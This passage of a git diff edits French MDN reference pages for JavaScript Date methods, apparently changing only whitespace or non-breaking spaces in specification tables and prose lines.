'#sec-date.prototype.getutcmonth', 'Date.prototype.getUTCMonth')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.13', 'Date.prototype.getUTCMonth')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.getutcmonth', 'Date.prototype.getUTCMonth')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.getutcmonth', 'Date.prototype.getUTCMonth')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/getutcseconds/index.md b/files/fr/web/javascript/reference/global_objects/date/getutcseconds/index.md index 10b092970d..55a4ca8744 100644 --- a/files/fr/web/javascript/reference/global_objects/date/getutcseconds/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/getutcseconds/index.md @@ -40,9 +40,9 @@ var secondes = aujourdhui.getUTCSeconds(); | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.3. | -| {{SpecName('ES5.1', '#sec-15.9.5.23', 'Date.prototype.getUTCSeconds')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.getutcseconds', 'Date.prototype.getUTCSeconds')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.getutcseconds', 'Date.prototype.getUTCSeconds')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.23', 'Date.prototype.getUTCSeconds')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.getutcseconds', 'Date.prototype.getUTCSeconds')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.getutcseconds', 'Date.prototype.getUTCSeconds')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/getyear/index.md b/files/fr/web/javascript/reference/global_objects/date/getyear/index.md index 30f96ed639..c5622e08c5 100644 --- a/files/fr/web/javascript/reference/global_objects/date/getyear/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/getyear/index.md @@ -25,7 +25,7 @@ Un nombre représentant l'année de la date indiquée, selon l'heure locale, auq ## Description -La méthode `getYear()` renvoie l'année moins 1900 ; par conséquent : +La méthode `getYear()` renvoie l'année moins 1900 ; par conséquent : - Pour les années supérieures ou égales à 2000, la valeur renvoyée par `getYear()` est supérieure ou égale à 100. Par exemple, si l'année est 2026, `getYear()` renvoie 126. - Pour les années entre 1900 et 1999 incluses, la valeur renvoyée par `getYear()` est comprise entre 0 et 99. Par exemple, si l'année est 1976, `getYear()` renvoie 76. @@ -37,7 +37,7 @@ Pour prendre en compte les années avant et après 2000, il vaut mieux utiliser ### Comportement dans JavaScript 1.2 et versions antérieures -La méthode `getYear()` renvoyait soit une année en deux chiffres, soit une année en quatre chiffres : +La méthode `getYear()` renvoyait soit une année en deux chiffres, soit une année en quatre chiffres : - Pour les années entre 1900 et 1999 incluses, la valeur renvoyée par `getYear()` était l'année moins 1900. Par exemple, si l'année était 1976, la valeur renvoyée était 76. - Pour les années inférieures à 1900 ou supérieures à 1999, la valeur renvoyée par `getYear` était l'année en quatre chiffres. Par exemple, si l'année était 1856, la valeur renvoyée était 1856. Si l'année était 2026, la valeur renvoyée était 2026. diff --git a/files/fr/web/javascript/reference/global_objects/date/index.md b/files/fr/web/javascript/reference/global_objects/date/index.md index d5ed46eb1a..9bab8acc15 100644 --- a/files/fr/web/javascript/reference/global_objects/date/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/index.md @@ -152,7 +152,7 @@ Ainsi, on dispose de méthodes permettant d'obtenir ou de définir les différen Les exemples qui suivent illustrent différentes méthodes permettant de créer des dates JavaScript : -> **Note :** L'analyse de chaîne de caractères représentant des dates avec le constructeur `Date` (ou `Date.parse` qui est équivalent) est fortement déconseillée en raison des différences de comportement existant entre les navigateurs. +> **Note :** L'analyse de chaîne de caractères représentant des dates avec le constructeur `Date` (ou `Date.parse` qui est équivalent) est fortement déconseillée en raison des différences de comportement existant entre les navigateurs. ```js let aujourdhui = new Date() diff --git a/files/fr/web/javascript/reference/global_objects/date/now/index.md b/files/fr/web/javascript/reference/global_objects/date/now/index.md index 27cfc90da5..d7689118ad 100644 --- a/files/fr/web/javascript/reference/global_objects/date/now/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/now/index.md @@ -70,8 +70,8 @@ Pour Firefox, il est également possible d'activer `privacy.resistFingerprinting | Spécification | État | Commentaires | | -------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES5.1', '#sec-15.9.4.4', 'Date.now')}} | {{Spec2('ES5.1')}} | Définition initiale. Implémentée avec JavaScript 1.5. | -| {{SpecName('ES6', '#sec-date.now', 'Date.now')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.now', 'Date.now')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-date.now', 'Date.now')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.now', 'Date.now')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/parse/index.md b/files/fr/web/javascript/reference/global_objects/date/parse/index.md index 452ba6f030..c8395e31ad 100644 --- a/files/fr/web/javascript/reference/global_objects/date/parse/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/parse/index.md @@ -73,7 +73,7 @@ Date('2014-25-23').toISOString(); // renvoie "RangeError: invalid date" pour les navigateurs ES5 ``` -L'implémentation spécifique de SpiderMonkey peut être trouvée dans le fichier [`jsdate.cpp`](https://dxr.mozilla.org/mozilla-central/source/js/src/jsdate.cpp?rev=64553c483cd1#889). La chaîne `"10 06 2014"` est un exemple de chaîne non ISO, utiliser parse() sur cette chaîne entraînera le moteur JavaScript à utiliser son implémentation de recours. Voir ce [bug](https://bugzilla.mozilla.org/show_bug.cgi?id=1023155#c6) pour une explication rapide de la façon dont est faite l'analyse de la chaîne. +L'implémentation spécifique de SpiderMonkey peut être trouvée dans le fichier [`jsdate.cpp`](https://dxr.mozilla.org/mozilla-central/source/js/src/jsdate.cpp?rev=64553c483cd1#889). La chaîne `"10 06 2014"` est un exemple de chaîne non ISO, utiliser parse() sur cette chaîne entraînera le moteur JavaScript à utiliser son implémentation de recours. Voir ce [bug](https://bugzilla.mozilla.org/show_bug.cgi?id=1023155#c6) pour une explication rapide de la façon dont est faite l'analyse de la chaîne. ```js new Date('10 06 2014'); diff --git a/files/fr/web/javascript/reference/global_objects/date/setdate/index.md b/files/fr/web/javascript/reference/global_objects/date/setdate/index.md index f45a1bf341..22a6303307 100644 --- a/files/fr/web/javascript/reference/global_objects/date/setdate/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/setdate/index.md @@ -44,7 +44,7 @@ Si on fournit un nombre négatif, la date sera déterminée à rebours à partir ```js var theBigDay = new Date(1962, 6, 7); // 1962-07-06T23:00:00.000Z theBigDay.setDate(24); // 1962-07-23T23:00:00.000Z -theBigDay.setDate(32); // 1962-07-31T23:00:00.000Z +theBigDay.setDate(32); // 1962-07-31T23:00:00.000Z theBigDay.setDate(22); // 1962-08-21T23:00:00.000Z theBigDay.setDate(0); // 1962-07-30T23:00:00.000Z theBigDay.setDate(98); // 1962-10-05T23:00:00.000Z @@ -56,9 +56,9 @@ theBigDay.setDate(-50); // 1962-08-10T23:00:00.000Z | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.9.5.36', 'Date.prototype.setDate')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.setdate', 'Date.prototype.setDate')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.setdate', 'Date.prototype.setDate')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.36', 'Date.prototype.setDate')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.setdate', 'Date.prototype.setDate')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.setdate', 'Date.prototype.setDate')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/setfullyear/index.md b/files/fr/web/javascript/reference/global_objects/date/setfullyear/index.md index c5ce1547e4..52ed862d65 100644 --- a/files/fr/web/javascript/reference/global_objects/date/setfullyear/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/setfullyear/index.md @@ -53,9 +53,9 @@ leGrandJour.setFullYear(1997); | Spécification | Statut | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.3. | -| {{SpecName('ES5.1', '#sec-15.9.5.40', 'Date.prototype.setFullYear')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.setfullyear', 'Date.prototype.setFullYear')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.setfullyear', 'Date.prototype.setFullYear')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.40', 'Date.prototype.setFullYear')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.setfullyear', 'Date.prototype.setFullYear')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.setfullyear', 'Date.prototype.setFullYear')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/sethours/index.md b/files/fr/web/javascript/reference/global_objects/date/sethours/index.md index 0571dbdf8b..b789309819 100644 --- a/files/fr/web/javascript/reference/global_objects/date/sethours/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/sethours/index.md @@ -59,9 +59,9 @@ leGrandJour.setHours(7); | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ---------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0 | -| {{SpecName('ES5.1', '#sec-15.9.5.34', 'Date.prototype.setHours')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.sethours', 'Date.prototype.setHours')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.sethours', 'Date.prototype.setHours')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.34', 'Date.prototype.setHours')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.sethours', 'Date.prototype.setHours')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.sethours', 'Date.prototype.setHours')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/setmilliseconds/index.md b/files/fr/web/javascript/reference/global_objects/date/setmilliseconds/index.md index e6ab186569..ab0ab2e2ae 100644 --- a/files/fr/web/javascript/reference/global_objects/date/setmilliseconds/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/setmilliseconds/index.md @@ -47,9 +47,9 @@ leGrandJour.setMilliseconds(100); | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.3. | -| {{SpecName('ES5.1', '#sec-15.9.5.28', 'Date.prototype.setMilliseconds')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.setmilliseconds', 'Date.prototype.setMilliseconds')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.setmilliseconds', 'Date.prototype.setMilliseconds')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.28', 'Date.prototype.setMilliseconds')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.setmilliseconds', 'Date.prototype.setMilliseconds')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.setmilliseconds', 'Date.prototype.setMilliseconds')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/setminutes/index.md b/files/fr/web/javascript/reference/global_objects/date/setminutes/index.md index 894474edac..6e290e16b6 100644 --- a/files/fr/web/javascript/reference/global_objects/date/setminutes/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/setminutes/index.md @@ -57,9 +57,9 @@ leGrandJour.setMinutes(45); | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.9.5.32', 'Date.prototype.setMinutes')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.setminutes', 'Date.prototype.setMinutes')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.setminutes', 'Date.prototype.setMinutes')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.32', 'Date.prototype.setMinutes')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.setminutes', 'Date.prototype.setMinutes')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.setminutes', 'Date.prototype.setMinutes')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/setmonth/index.md b/files/fr/web/javascript/reference/global_objects/date/setmonth/index.md index adaccb768d..564802f6ff 100644 --- a/files/fr/web/javascript/reference/global_objects/date/setmonth/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/setmonth/index.md @@ -64,9 +64,9 @@ leGrandJour.setMonth(6); | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.9.5.38', 'Date.prototype.setMonth')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.setmonth', 'Date.prototype.setMonth')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.setmonth', 'Date.prototype.setMonth')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.38', 'Date.prototype.setMonth')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.setmonth', 'Date.prototype.setMonth')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.setmonth', 'Date.prototype.setMonth')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/setseconds/index.md b/files/fr/web/javascript/reference/global_objects/date/setseconds/index.md index b6db54ba85..5f3108ae2f 100644 --- a/files/fr/web/javascript/reference/global_objects/date/setseconds/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/setseconds/index.md @@ -55,9 +55,9 @@ leGrandJour.setSeconds(30) | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.9.5.30', 'Date.prototype.setSeconds')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.setseconds', 'Date.prototype.setSeconds')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.setseconds', 'Date.prototype.setSeconds')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.30', 'Date.prototype.setSeconds')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.setseconds', 'Date.prototype.setSeconds')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.setseconds', 'Date.prototype.setSeconds')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/settime/index.md b/files/fr/web/javascript/reference/global_objects/date/settime/index.md index 01c26769a9..70cb934f66 100644 --- a/files/fr/web/javascript/reference/global_objects/date/settime/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/settime/index.md @@ -48,9 +48,9 @@ pareilQueGrandJour.setTime(leGrandJour.getTime()); | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.9.5.27', 'Date.prototype.setTime')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.settime', 'Date.prototype.setTime')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.settime', 'Date.prototype.setTime')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.27', 'Date.prototype.setTime')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.settime', 'Date.prototype.setTime')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.settime', 'Date.prototype.setTime')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/setutcdate/index.md b/files/fr/web/javascript/reference/global_objects/date/setutcdate/index.md index b2b6aa67a4..3a17a05b0d 100644 --- a/files/fr/web/javascript/reference/global_objects/date/setutcdate/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/setutcdate/index.md @@ -47,9 +47,9 @@ leGrandJour.setUTCDate(20); | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.3. | -| {{SpecName('ES5.1', '#sec-15.9.5.37', 'Date.prototype.setUTCDate')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.setutcdate', 'Date.prototype.setUTCDate')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.setutcdate', 'Date.prototype.setUTCDate')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.37', 'Date.prototype.setUTCDate')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.setutcdate', 'Date.prototype.setUTCDate')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.setutcdate', 'Date.prototype.setUTCDate')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/setutcfullyear/index.md b/files/fr/web/javascript/reference/global_objects/date/setutcfullyear/index.md index 4490cf9d6a..c09f8ab805 100644 --- a/files/fr/web/javascript/reference/global_objects/date/setutcfullyear/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/setutcfullyear/index.md @@ -53,9 +53,9 @@ leGrandJour.setUTCFullYear(1997); | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.3. | -| {{SpecName('ES5.1', '#sec-15.9.5.41', 'Date.prototype.setUTCFullYear')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.setutcfullyear', 'Date.prototype.setUTCFullYear')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.setutcfullyear', 'Date.prototype.setUTCFullYear')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.41', 'Date.prototype.setUTCFullYear')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.setutcfullyear', 'Date.prototype.setUTCFullYear')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.setutcfullyear', 'Date.prototype.setUTCFullYear')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/setutchours/index.md b/files/fr/web/javascript/reference/global_objects/date/setutchours/index.md index 775990f78e..f80851fec6 100644 --- a/files/fr/web/javascript/reference/global_objects/date/setutchours/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/setutchours/index.md @@ -55,9 +55,9 @@ leGrandJour.setUTCHours(8); | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.3. | -| {{SpecName('ES5.1', '#sec-15.9.5.35', 'Date.prototype.setUTCHours')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.setutchours', 'Date.prototype.setUTCHours')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.setutchours', 'Date.prototype.setUTCHours')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.35', 'Date.prototype.setUTCHours')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.setutchours', 'Date.prototype.setUTCHours')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.setutchours', 'Date.prototype.setUTCHours')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/setutcmilliseconds/index.md b/files/fr/web/javascript/reference/global_objects/date/setutcmilliseconds/index.md index 7e7e0a4e3d..36fd2480a2 100644 --- a/files/fr/web/javascript/reference/global_objects/date/setutcmilliseconds/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/setutcmilliseconds/index.md @@ -47,9 +47,9 @@ leGrandJour.setUTCMilliseconds(500); | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.3. | -| {{SpecName('ES5.1', '#sec-15.9.5.29', 'Date.prototype.setUTCMilliseconds')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.setutcmilliseconds', 'Date.prototype.setUTCMilliseconds')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.setutcmilliseconds', 'Date.prototype.setUTCMilliseconds')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.29', 'Date.prototype.setUTCMilliseconds')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.setutcmilliseconds', 'Date.prototype.setUTCMilliseconds')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.setutcmilliseconds', 'Date.prototype.setUTCMilliseconds')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/setutcminutes/index.md b/files/fr/web/javascript/reference/global_objects/date/setutcminutes/index.md index ebf0a4ead5..c174a9bbd7 100644 --- a/files/fr/web/javascript/reference/global_objects/date/setutcminutes/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/setutcminutes/index.md @@ -53,9 +53,9 @@ leGrandJour.setUTCMinutes(43); | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.3. | -| {{SpecName('ES5.1', '#sec-15.9.5.33', 'Date.prototype.setUTCMinutes')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.setutcminutes', 'Date.prototype.setUTCMinutes')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.setutcminutes', 'Date.prototype.setUTCMinutes')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.33', 'Date.prototype.setUTCMinutes')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.setutcminutes', 'Date.prototype.setUTCMinutes')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.setutcminutes', 'Date.prototype.setUTCMinutes')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/setutcmonth/index.md b/files/fr/web/javascript/reference/global_objects/date/setutcmonth/index.md index 580acfb674..29b34a6fdd 100644 --- a/files/fr/web/javascript/reference/global_objects/date/setutcmonth/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/setutcmonth/index.md @@ -51,9 +51,9 @@ leGrandJour.setUTCMonth(11); | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.3. | -| {{SpecName('ES5.1', '#sec-15.9.5.39', 'Date.prototype.setUTCMonth')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.setutcmonth', 'Date.prototype.setUTCMonth')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.setutcmonth', 'Date.prototype.setUTCMonth')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.39', 'Date.prototype.setUTCMonth')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.setutcmonth', 'Date.prototype.setUTCMonth')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.setutcmonth', 'Date.prototype.setUTCMonth')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/setutcseconds/index.md b/files/fr/web/javascript/reference/global_objects/date/setutcseconds/index.md index ffb683924a..deab5c8101 100644 --- a/files/fr/web/javascript/reference/global_objects/date/setutcseconds/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/setutcseconds/index.md @@ -51,9 +51,9 @@ leGrandJour.setUTCSeconds(20); | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.3. | -| {{SpecName('ES5.1', '#sec-15.9.5.31', 'Date.prototype.setUTCSeconds')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-date.prototype.setutcseconds', 'Date.prototype.setUTCSeconds')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.setutcseconds', 'Date.prototype.setUTCSeconds')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.9.5.31', 'Date.prototype.setUTCSeconds')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-date.prototype.setutcseconds', 'Date.prototype.setUTCSeconds')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.setutcseconds', 'Date.prototype.setUTCSeconds')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/toisostring/index.md b/files/fr/web/javascript/reference/global_objects/date/toisostring/index.md index 04e1ce306e..b2388ffbba 100644 --- a/files/fr/web/javascript/reference/global_objects/date/toisostring/index.md +++ b/files/fr/web/javascript/reference/global_objects/date/toisostring/index.md @@ -72,8 +72,8 @@ if ( !Date.prototype.toISOString ) { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES5.1', '#sec-15.9.5.43', 'Date.prototype.toISOString')}} | {{Spec2('ES5.1')}} | Définition initiale. Implémentée avec JavaScript 1.8. | -| {{SpecName('ES6', '#sec-date.prototype.toisostring', 'Date.prototype.toISOString')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-date.prototype.toisostring', 'Date.prototype.toISOString')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-date.prototype.toisostring', 'Date.prototype.toISOString')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-date.prototype.toisostring', 'Date.prototype.toISOString')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/date/tojson/index.md b/files/fr/web/javascript/reference/global_objects/date/tojson/index.md index 7909061c35..c51547e4d5 100644 --- a/files/fr/web/javascript/reference/global_objects/date/tojson/index.md +++ 